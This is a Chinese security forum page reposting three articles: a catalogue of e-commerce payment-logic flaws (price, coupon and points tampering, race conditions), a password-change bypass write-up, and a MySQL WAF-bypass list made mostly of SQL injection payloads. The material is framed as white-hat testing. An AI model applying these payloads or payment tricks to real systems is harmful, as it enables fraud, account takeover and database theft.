【转帖】支付漏洞之总结

渗透测试cat 发表了文章 • 0 个评论 • 126 次浏览 • 2019-03-08 20:30 • 来自相关话题

转自(https://butian.360.cn/School/content?id=395)
 
支付漏洞一直以来就是是高风险,对企业来说危害很大,对用户来说同样危害也大。就比如我用他人账户进行消费,这也属于支付漏洞中的越权问题。那么支付漏洞一般存在在哪些方面呢,根据名字就知道,凡是涉及购买、资金等方面的功能处就有可能存在支付问题。本文章将分类来进行讲述支付漏洞当中的那些思路。
首先说下支付问题的思路
0x01   修改支付价格
在支付当中,购买商品一般分为三步骤:订购、确认信息、付款。
那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。
这里我找到了相关例子:
http://www.anquan.us/static/bugs/wooyun-2016-0174748.html 
0x02   修改支付状态
这个问题我隐约的遇到过,之前在找相关资料的时候发现了一篇文章讲的是修改支付状态为已支付状态这样的思路,然后勾起了我的回想,这个问题是没有对支付状态的值跟实际订单支付状态进行校验,导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。
0x03   修改购买数量
在支付的过程中,数量也同时决定着价格,比如:1个数量商品对应的是100,2个数据就是200,那么当你修改这个值数量值为负数时,那么其金额也会变为负数,最后就会导致支付问题的产生。
0x04   修改附属值
这里是我自己想的一个词,比如在很多购买的时候都可以利用积分或者优惠劵等等进行代替金额付款,那么就容易存在问题。在这里我把附属值分为几类进行讲述。
①:修改优惠劵金额
优惠劵其基本都是优惠一半,一般用优惠劵进行消费一般出现在第二个步骤当中:确认购买信息,在这个步骤页面当中,你可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格就可以,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功。
②:修改优惠劵金额及业务逻辑问题
可能你看到这个标题会想到,你不是上一个讲的就是这个修改优惠劵金额的问题嘛?为什么还要再讲一遍这个?请继续看!
之前遇到过这个漏洞,这个漏洞也是逻辑问题导致了成功利用,同样在是在第二部确认购买信息当中有可选择优惠劵进行支付,但是,当你修改其优惠劵值为任意值或负值想要支付的时候,会回显支付失败,或者金额有误等一些提示,可能这时很多白帽子会很失望然后就会去其它点找问题了,但当你找到个人中心,点击订单详情,如果存在这个逻辑问题,那么此时在你刚刚修改优惠劵金额后点击下一步支付的时候,其实这时候就已经产生了订单了,你在订单详情内就可以看到支付金额为0,因为你刚刚修改了优惠劵金额嘛,然后你点击支付就可以支付成功。
当然,这里还要说下小技巧,有可能会支付失败,但是如果你找到的这个问题是一个一般业务分站点,如果有自带的一个钱包功能,那么你就可以利用这个只带的钱包功能去支付这个订单,而不要利用其它支付类型,那么就可以支付成功!
③:修改积分金额
有些网站有积分,比如你消费多少,评论多少就可以拥有一定的积分数量,这个积分可以在你付款的时候进行折扣其订单金额,如果这个没有做好积分金额的校验,那么当你在支付当中选择用积分为账户减一些金额的时候,可以抓包修改其积分金额为任意数或负金额,然后可0元支付成功。
相关例子:http://www.anquan.us/static/bugs/wooyun-2015-0139556.html  
0x05   修改支付接口
比如一些网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功。
 0x06   多重替换支付
以前好像也看到过相关的例子,首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单而的商品。
 0x07   重复支付
这个其实只是支付当中的一个别类,但是这个思路新颖,所以我就列了出来,比如一些交易市场有一类似于试用牌子或者其它,这个试用牌子可以依靠签到获得,而这个牌子的作用可以去试用一些商品,在你进行试用的时候会扣掉你的试用牌子,当你试用完成或者主动取消试用时,试用牌子会返回到账户当中,你知道,签到得到的牌子肯定很少,且如果想试用好一点的商品那么牌子的数量就尤为重要了。
这里的问题就是如果没有进行对订单多重提交的校验,那么就可导致无限制刷牌子,比如,你试用时抓包,然后你每次试用都会产生一个订单号,然后利用刚抓到的数据包进行批量提交,你就可以看到每次提交的订单号不一样,然后这时你再看订单可以看到同一个商品的无数订单,但试用牌子数只扣了你第一个试验时的牌子数,那么这时你申请批量退出试用,那么这么多订单,每退一个就会退相应的牌子数量到账户当中,这就构成了无限制刷得问题。
 0x08   最小额支付
在很多白帽子测试支付的漏洞时候,修改的金额往往都是0.01等或者负数,我想说这很容易错失掉一些潜在的支付问题,我就深有体会,在挖掘支付漏洞的过程当中,就遇到过,直到第三次再一次检测时才发现,比如一些网站有金币或者积分什么就相当于支付可以用这些支付,那么在充值的时候,比如:10元对应的积分值为100、50对应的是5000、100对应的是10000。
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功,也就用1元购买到任意值得积分数量了,这是为什么呢?
其实你在测试过程当中细心点就可以很好发现的,这里最低就是1元,1元对应100积分,而你如果修改为0.01,那么对应的积分就是空值了,所以会显示失败,而当你修改为1元,那么1元这个支付接口是存在的,其后面积分数为其它金额的积分数,然后跳转过去支付就会以1元购买到比它多得多的积分数量,也可以是任意积分值。
 0x09   值为最大值支付问题
以前也是看到过相关的例子,一些网站比如你购买商品,这里有2个思路修改值,1是直接修改支付金额值为最大值,比如999999999,或者修改附属值,如优惠卷,积分等为999999999,如果这里逻辑设计有问题,那么其支付金额会变为0。
 0x10   越权支付
这个问题很早之前有过,现在可能很少存在这类问题,在支付当中会出现当前用户的ID,比如:username=XXXXX,如果没有加以验证,其支付也是一次性支付没有要求输入密码什么的机制,那么就可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品。
 0x11   无限制试用
一些网站的一些商品,比如云系列产品支持试用,试用时期一般为7天或者30天,一个账户只能试用一次,试用期间不能再试用,但如果这个试用接口会做好分配那么很容易导致问题的发生。
这也是我遇到过的例子,比如:在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功,又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了。
 
 0x12   修改优惠价
比如一些商品有优惠价,优惠多少多少,那么在支付时抓包,修改这个优惠价就可造成支付问题的产生。
 以下是不常见思路 
0x01   多线程并发问题
可能很多白帽子知道,也有可能不知道,或者听说过,但是没有实际挖掘过,那么我相信,这个思路会让你们有新的挖掘方向了。
现在可能还有一些大厂商存在该问题,多线程并发问题就是没有实时的处理各种状态所导致的问题,之前挖掘过刷钱问题,就是利用该思路,比如很多平台有自家的钱包,而这个钱包是一个迷你钱包,这个钱包作用也仅是用于这当前一个业务平台网站,在提现时,没有任何验证码或者校验机制,只要输入体现金额就可以提现,并且是秒到账,如果什么负数,修改金额都测试过了都不行,那么你就可以试试多线程并发问题,提现时抓包,比如我现在钱包内有0.1元,那么按理说每提0.01可以体现10次,也就是发送10次进程,但是利用这个问题可以达到多发现几次成功的进程,提现时抓包,然后把数据包发送到BurpSuite工具的Intruder当中,进行批量发送18次,然后可以看到成功的提现到了12次。
这里我贴出相关证明图片:
这里是从0开始到11截止,我账户内只有0.1 而这里体现了0.12 也就是提现的进程为12次,369为提现成功,349为提现失败的长度值,从这里就可以看出这个问题的危害了,当然此时账户的金额肯定是为负的了,如果把这个提现金额变大,那么这多提现的金额可不是闹着玩的。
当然,多线程也可以在其它功能处进行测试,比如我之前讲到的试用商品问题,就可以通过多线程进行多几次的使用,比如利用积分总换礼品,一个账户只能进行总换一次,利用这个问题,可以多几次总换,一些转账功能,提现功能,购买功能等等很多。
多线程并发的相关分析文章:http://wooyun.jozxing.cc/static/drops/papers-831.html
 0x02   支付问题挖掘技巧
如果你习惯用BurpSuite工具,那么在你测试抓包的时候通常请求包都有很多,比如有3个请求包,第一个请求包是一个干扰数据包,第二个是一个图片加载的数据包,第三个可能才是支付相关的数据包,所以有时候要细心,不要认为抓不到,如果你用的是其它工具,那么可以查看整个提交过程,所以很容易看到提交的各种数据包,在BurpSuite当中你可以通过Target这模块进行分析,这个模块会有你测试时相关的数据包。
 
总结:支付问题一直以来就是很严重的问题,不管对厂商来说还是用户来说,让支付过程中更安全,是每一个从事安全方面人的责任,因为交易无时无刻的都在进行。最后希望更多白帽子扩展思路,挖掘到相关问题并提交给厂商,同样厂商也要更加注重安全。发现问题,解决问题,让这个世界更美,下次文章见~ 查看全部
转自(https://butian.360.cn/School/content?id=395
 
支付漏洞一直以来就是是高风险,对企业来说危害很大,对用户来说同样危害也大。就比如我用他人账户进行消费,这也属于支付漏洞中的越权问题。那么支付漏洞一般存在在哪些方面呢,根据名字就知道,凡是涉及购买、资金等方面的功能处就有可能存在支付问题。本文章将分类来进行讲述支付漏洞当中的那些思路。
首先说下支付问题的思路
0x01   修改支付价格
在支付当中,购买商品一般分为三步骤:订购、确认信息、付款。
那么这个修改价格具体是修改哪一步时的价格呢?在我看来,你可以在这三个步骤当中的随便一个步骤进行修改价格测试,如果前面两步有验证机制,那么你可在最后一步付款时进行抓包尝试修改金额,如果没有在最后一步做好检验,那么问题就会存在,其修改的金额值你可以尝试小数目或者尝试负数。
这里我找到了相关例子:
http://www.anquan.us/static/bugs/wooyun-2016-0174748.html 
0x02   修改支付状态
这个问题我隐约的遇到过,之前在找相关资料的时候发现了一篇文章讲的是修改支付状态为已支付状态这样的思路,然后勾起了我的回想,这个问题是没有对支付状态的值跟实际订单支付状态进行校验,导致点击支付时抓包修改决定支付或未支付的参数为支付状态的值从而达到支付成功。
0x03   修改购买数量
在支付的过程中,数量也同时决定着价格,比如:1个数量商品对应的是100,2个数据就是200,那么当你修改这个值数量值为负数时,那么其金额也会变为负数,最后就会导致支付问题的产生。
0x04   修改附属值
这里是我自己想的一个词,比如在很多购买的时候都可以利用积分或者优惠劵等等进行代替金额付款,那么就容易存在问题。在这里我把附属值分为几类进行讲述。
①:修改优惠劵金额
优惠劵其基本都是优惠一半,一般用优惠劵进行消费一般出现在第二个步骤当中:确认购买信息,在这个步骤页面当中,你可以选择相关优惠劵,然后直接修改金额大于或等于商品的价格就可以,或者直接修改其为负值进行尝试,最后进行支付,如果对这点没有加以验证,那么问题就会产生,直接支付成功。
②:修改优惠劵金额及业务逻辑问题
可能你看到这个标题会想到,你不是上一个讲的就是这个修改优惠劵金额的问题嘛?为什么还要再讲一遍这个?请继续看!
之前遇到过这个漏洞,这个漏洞也是逻辑问题导致了成功利用,同样在是在第二部确认购买信息当中有可选择优惠劵进行支付,但是,当你修改其优惠劵值为任意值或负值想要支付的时候,会回显支付失败,或者金额有误等一些提示,可能这时很多白帽子会很失望然后就会去其它点找问题了,但当你找到个人中心,点击订单详情,如果存在这个逻辑问题,那么此时在你刚刚修改优惠劵金额后点击下一步支付的时候,其实这时候就已经产生了订单了,你在订单详情内就可以看到支付金额为0,因为你刚刚修改了优惠劵金额嘛,然后你点击支付就可以支付成功。
当然,这里还要说下小技巧,有可能会支付失败,但是如果你找到的这个问题是一个一般业务分站点,如果有自带的一个钱包功能,那么你就可以利用这个只带的钱包功能去支付这个订单,而不要利用其它支付类型,那么就可以支付成功!
③:修改积分金额
有些网站有积分,比如你消费多少,评论多少就可以拥有一定的积分数量,这个积分可以在你付款的时候进行折扣其订单金额,如果这个没有做好积分金额的校验,那么当你在支付当中选择用积分为账户减一些金额的时候,可以抓包修改其积分金额为任意数或负金额,然后可0元支付成功。
相关例子:http://www.anquan.us/static/bugs/wooyun-2015-0139556.html  
0x05   修改支付接口
比如一些网站支持很多种支付,比如自家的支付工具,第三方的支付工具,然后每个支付接口值不一样,如果逻辑设计不当,当我随便选择一个点击支付时进行抓包,然后修改其支付接口为一个不存在的接口,如果没做好不存在接口相关处理,那么此时就会支付成功。
 0x06   多重替换支付
以前好像也看到过相关的例子,首先去产生两个订单,这两个订单商品是不一样的,其价格不一样,如果服务端没有做好这相关的验证,那么在支付的过程当中抓包,修改其订单值为另一个订单值,最后支付,这时就可以用订单一的支付价格买到订单而的商品。
 0x07   重复支付
这个其实只是支付当中的一个别类,但是这个思路新颖,所以我就列了出来,比如一些交易市场有一类似于试用牌子或者其它,这个试用牌子可以依靠签到获得,而这个牌子的作用可以去试用一些商品,在你进行试用的时候会扣掉你的试用牌子,当你试用完成或者主动取消试用时,试用牌子会返回到账户当中,你知道,签到得到的牌子肯定很少,且如果想试用好一点的商品那么牌子的数量就尤为重要了。
这里的问题就是如果没有进行对订单多重提交的校验,那么就可导致无限制刷牌子,比如,你试用时抓包,然后你每次试用都会产生一个订单号,然后利用刚抓到的数据包进行批量提交,你就可以看到每次提交的订单号不一样,然后这时你再看订单可以看到同一个商品的无数订单,但试用牌子数只扣了你第一个试验时的牌子数,那么这时你申请批量退出试用,那么这么多订单,每退一个就会退相应的牌子数量到账户当中,这就构成了无限制刷得问题。
 0x08   最小额支付
在很多白帽子测试支付的漏洞时候,修改的金额往往都是0.01等或者负数,我想说这很容易错失掉一些潜在的支付问题,我就深有体会,在挖掘支付漏洞的过程当中,就遇到过,直到第三次再一次检测时才发现,比如一些网站有金币或者积分什么就相当于支付可以用这些支付,那么在充值的时候,比如:10元对应的积分值为100、50对应的是5000、100对应的是10000。
这个问题如果你在充值时进行修改其支付金额为负数或者0.01等是会显示支付失败的,但是如果你修改其金额为1.00,那么支付就会成功,也就用1元购买到任意值得积分数量了,这是为什么呢?
其实你在测试过程当中细心点就可以很好发现的,这里最低就是1元,1元对应100积分,而你如果修改为0.01,那么对应的积分就是空值了,所以会显示失败,而当你修改为1元,那么1元这个支付接口是存在的,其后面积分数为其它金额的积分数,然后跳转过去支付就会以1元购买到比它多得多的积分数量,也可以是任意积分值。
 0x09   值为最大值支付问题
以前也是看到过相关的例子,一些网站比如你购买商品,这里有2个思路修改值,1是直接修改支付金额值为最大值,比如999999999,或者修改附属值,如优惠卷,积分等为999999999,如果这里逻辑设计有问题,那么其支付金额会变为0。
 0x10   越权支付
这个问题很早之前有过,现在可能很少存在这类问题,在支付当中会出现当前用户的ID,比如:username=XXXXX,如果没有加以验证,其支付也是一次性支付没有要求输入密码什么的机制,那么就可以修改这个用户ID为其它用户ID,达到用其他用户的账号进行支付你的商品。
 0x11   无限制试用
一些网站的一些商品,比如云系列产品支持试用,试用时期一般为7天或者30天,一个账户只能试用一次,试用期间不能再试用,但如果这个试用接口会做好分配那么很容易导致问题的发生。
这也是我遇到过的例子,比如:在支付的时候它URL后面的支付接口是3,而试用接口是4,那么此时你已经使用过了,复制下确认试用时的URL,修改后面的支付接口为3,那么此时就会调用购买支付接口,但是由于你本身这个产品就是试用的,其相应值绑定了这个试用商品,那么金额就肯定是0,那么最后点击支付,你就可以看到支付成功,试用成功,又重复试用了一次,然后他们的试用时间会累加在一起,这就导致了可无限制购买任何产品了。
 
 0x12   修改优惠价
比如一些商品有优惠价,优惠多少多少,那么在支付时抓包,修改这个优惠价就可造成支付问题的产生。
 以下是不常见思路 
0x01   多线程并发问题

可能很多白帽子知道,也有可能不知道,或者听说过,但是没有实际挖掘过,那么我相信,这个思路会让你们有新的挖掘方向了。
现在可能还有一些大厂商存在该问题,多线程并发问题就是没有实时的处理各种状态所导致的问题,之前挖掘过刷钱问题,就是利用该思路,比如很多平台有自家的钱包,而这个钱包是一个迷你钱包,这个钱包作用也仅是用于这当前一个业务平台网站,在提现时,没有任何验证码或者校验机制,只要输入体现金额就可以提现,并且是秒到账,如果什么负数,修改金额都测试过了都不行,那么你就可以试试多线程并发问题,提现时抓包,比如我现在钱包内有0.1元,那么按理说每提0.01可以体现10次,也就是发送10次进程,但是利用这个问题可以达到多发现几次成功的进程,提现时抓包,然后把数据包发送到BurpSuite工具的Intruder当中,进行批量发送18次,然后可以看到成功的提现到了12次。
这里我贴出相关证明图片:
这里是从0开始到11截止,我账户内只有0.1 而这里体现了0.12 也就是提现的进程为12次,369为提现成功,349为提现失败的长度值,从这里就可以看出这个问题的危害了,当然此时账户的金额肯定是为负的了,如果把这个提现金额变大,那么这多提现的金额可不是闹着玩的。
当然,多线程也可以在其它功能处进行测试,比如我之前讲到的试用商品问题,就可以通过多线程进行多几次的使用,比如利用积分总换礼品,一个账户只能进行总换一次,利用这个问题,可以多几次总换,一些转账功能,提现功能,购买功能等等很多。
多线程并发的相关分析文章:http://wooyun.jozxing.cc/static/drops/papers-831.html
 0x02   支付问题挖掘技巧
如果你习惯用BurpSuite工具,那么在你测试抓包的时候通常请求包都有很多,比如有3个请求包,第一个请求包是一个干扰数据包,第二个是一个图片加载的数据包,第三个可能才是支付相关的数据包,所以有时候要细心,不要认为抓不到,如果你用的是其它工具,那么可以查看整个提交过程,所以很容易看到提交的各种数据包,在BurpSuite当中你可以通过Target这模块进行分析,这个模块会有你测试时相关的数据包。
 
总结:支付问题一直以来就是很严重的问题,不管对厂商来说还是用户来说,让支付过程中更安全,是每一个从事安全方面人的责任,因为交易无时无刻的都在进行。最后希望更多白帽子扩展思路,挖掘到相关问题并提交给厂商,同样厂商也要更加注重安全。发现问题,解决问题,让这个世界更美,下次文章见~

记一次有趣的密码重置

Web安全渗透gu 发表了文章 • 4 个评论 • 104 次浏览 • 2019-03-03 11:17 • 来自相关话题

转自(https://www.freebuf.com/vuls/196382.html)
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。 查看全部
转自(https://www.freebuf.com/vuls/196382.html
前景提要
之前有测过客户的App,发现在忘记密码的地方存在手机号验证绕过导致任意用户密码重置,登陆后的修改密码也是存在手机号验证绕过问题。这次测试的是Web端,发现之前的几个接口都是和app一样的,所以拿到手就先开始对密码这部分下手。
正片
开局直奔忘记密码的重置,但是开发已经学乖了,已经把这个在app端发现的问题修复了,寻之无果,又转战到个人中心修改密码处。
看起来是挺吓人的,又是手机验证码,又是旧密码的。走一波流程,发现是先验证手机验证码,从下图的参数中可以看到是分步验证的,首先尝试绕过手机验证。


修改code=0绕过第一次手机号验证。下图为第二次验证提交参数,发现还有一个验证码的参数,以为会进行二次效验,但是万万没想到,直接放行就修改成功了。。。。。。


看来都是纸老虎,再看参数中好像并没有其他做验证的参数,丢到repeater里尝试看看修改手机号为另一个手机号能否成功。

???黑人问号脸,看来还是做了身份验证,也就是上图中的ut值,绑定当前用户的手机号,也就是说要修改别人手机号得拿到别人的ut值。原本打算到这里结束了,但是心有不甘,回想了一下上一次挖到的任意用户密码重置过程,在上一次的挖掘中重置用户密码是没有用户身份验证的,因为是从忘记密码进去的,所以没有经过用户登录,然而登录以后则验证了ut和手机号。那么问题就在于如何让他变成没有用户登录的情况,由于ut值是整个系统判断用户登录信息的唯一参数,所以我尝试删除cookie中的ut值,达到用户未登录状态。

Bingo,大吉大利,今晚吃鸡。
观后感
初步猜测一下这个逻辑是存在ut值的时候会对当前用户的手机号进行验证,然而在没有ut值的时候无法获取当前用户信息,也就无法进行手机号验证,同时也未对手机验证码以及旧密码进行验证导致密码修改成功。

【转帖】WAF Bypass数据库特性(Mysql探索篇)

Web安全渗透cat 发表了文章 • 3 个评论 • 121 次浏览 • 2019-02-26 21:20 • 来自相关话题

0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 位置二:union和select之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1)) 
位置三:select和查询参数之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)其他符号
波浪号%60: SELECT * FROM admin WHERE username = 1 union(select 1,(select schema_namefrom information_schema.SCHEMATA limit 0,1)) SELECT * FROM admin WHERE username = 1 union select 1,user()`from admin
内联注释: SELECT * FROM admin WHERE username = 1 union(select 1,(select/!schema_name/from information_schema.SCHEMATA limit 1,1))
{括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select{x schema_name}from information_schema.SCHEMATA limit 1,1))
括号: SELECT * FROM admin WHERE username = 1 union(select 1,(select(schema_name)from information_schema.SCHEMATA limit 1,1))
双引号: SELECT * FROM admin WHERE username = 1 union select 1,user()""from admin
括号后面加字母:SELECT * FROM admin WHERE username = 1 union select 1,user()A from admin
破浪号加字母: SELECT * FROM admin WHERE username = 1 union select 1,user()`bfrom admin
(4)浮点数、1E0的形式、N形式
id=1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 unionselect user(),2.0from admin
SELECT * FROM admin WHERE username = 1 union select user(),8e0from admin
SELECT * FROM admin WHERE username = 1 union select user(),Nfrom admin 位置五:from后面的位置(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
破浪号: id=1 union select 1,(select(schema_name)frominformation_schema.SCHEMATA limit 0,1)
内联注释: id=1 union select 1,(select(schema_name)from/!12345information_schema.SCHEMATA/ limit 0,1)
{括号: id=1 union select 1,(select(schema_name)from {x information_schema.SCHEMATA} limit 0,1)
括号: id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA) limit 0,1)
同一个表的情况下,大小写字母加数字都可以
SELECT * FROM admin WHERE username = 1 union select 1,user() from123asdadmin
0x03 函数
 
类型一:常见的过滤函数
  (1)字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1))
(2)字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
(3)字符转换 Ascii(1) 此函数之前测试某云waf的时候被过滤了,然后使用ascii (1)即可 Char(49) Hex(‘a’) Unhex(61) 
类型二:过滤了特殊符号
    (1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
(3)union处的逗号: 通过join拼接。
SELECT * FROM admin WHERE username = 1 union select * from (select 1)a join(select{x schema_name} from information_schema.SCHEMATA limit 1,1)b
(4)操作符<>被过滤
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64总结:使用greatest()绕过比较操作符。类型三:部分函数构造
    (1)sleep(5)/benchmark(10000000,SHA1(1))
id=1 xor sleep%23%0a(5)
id=1 xor sleep%2d%2d%0a(5)
id=1 xor sleep([%20]5)
id=1 xor benchmark%0a(10000000,SHA1(1))
id=1 xor sleep[空白字符](5)
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
(2)select {x 1}形式
select{x[可填充字符]1}
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
%21 !
%2b +
%2d -
%40 @
%7e ~0x04 END
本文汇总了一些常见的Mysql数据库特性和特殊的绕过函数,这是最灵活多变的一种数据库类型,以上这些远远是不够的。比如:单单一个内联注释,就可以嵌套多层,变幻出各种令人诧异的姿势。
仅作抛砖引玉之用,欢迎留言,顺便分享一下你了解的比较有意思的特性。 查看全部
0x01 前言
我们经常利用一些数据库特性来进行WAF绕过。在Mysql中,比如可以这样:
内联注释: /*!12345union*/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a

一起去探索一下能够绕过WAF防护的数据库特性。



 0x02 测试
常见有5个位置即:
SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin

   
位置一:参数和union之间的位置
(1)常见形式:/**/、/*!50000union*/等形式:
SELECT * FROM admin WHERE username = 1 union/**/select 1,user() from admin
(2)空白字符:
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1%0aunion select 1,user() from admin
其他形式如:%1%20、%3920、%40%20、%23%0a、%2d%2d%0a
(3)浮点数形式 :1.1
SELECT * FROM admin WHERE username = 1.0union select 1,user() from admin
SELECT * FROM admin WHERE username = 1.union select 1,user() from admin
其他形式如:%1%2e、%2%2e
(4)1E0的形式(科学计数法):
SELECT * FROM admin WHERE username = 1E0union select 1,user() from admin
(5) Nunion的形式:
SELECT * FROM admin WHERE username = Nunion select 1,user() from admin 
位置二:union和select之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union%a0select 1,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/ 、/*anything*/
(3)括号
SELECT * FROM admin WHERE username =1 union(select 'test',(select user() from admin limit 0,1))
select * from admin union(select 'test',(select 'asd'),(select user() from users limit 0,1))
 
位置三:select和查询参数之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select%091,user() from admin
(2)注释符
使用空白注释,MYSQL中可以利用的空白字符有:/**/、/*anything*/
(3)其他字符
%21 ! 叹号
%2b + 加号
%2d - 减号
%40 @ 电子邮件符号
%7e ~ 波浪号
SELECT * FROM admin WHERE username = 1 union select~1,user() from admin
(4)其他方式:
括号: SELECT * FROM admin WHERE username = 1 union select(1),user() from admin
内联: SELECT * FROM admin WHERE username = 1 union /!12345select/1,user() from admin
@字符:SELECT * FROM admin WHERE username = 1 union select@1,user() from admin
{括号:SELECT * FROM admin WHERE username = 1 union select {x 1},user() from admin
引号: SELECT * FROM admin WHERE username = 1 union select"1",user() from admin
N: SELECT * FROM admin WHERE username = 1 union selectN,user() from admin


位置四:查询参数和from之间的位置
(1)空白字符
Mysql中可以利用的空白字符有:%09,%0a,,,%0d,%20,%a0;
id=1 union select 1,user()%09from admin
(2)注释符
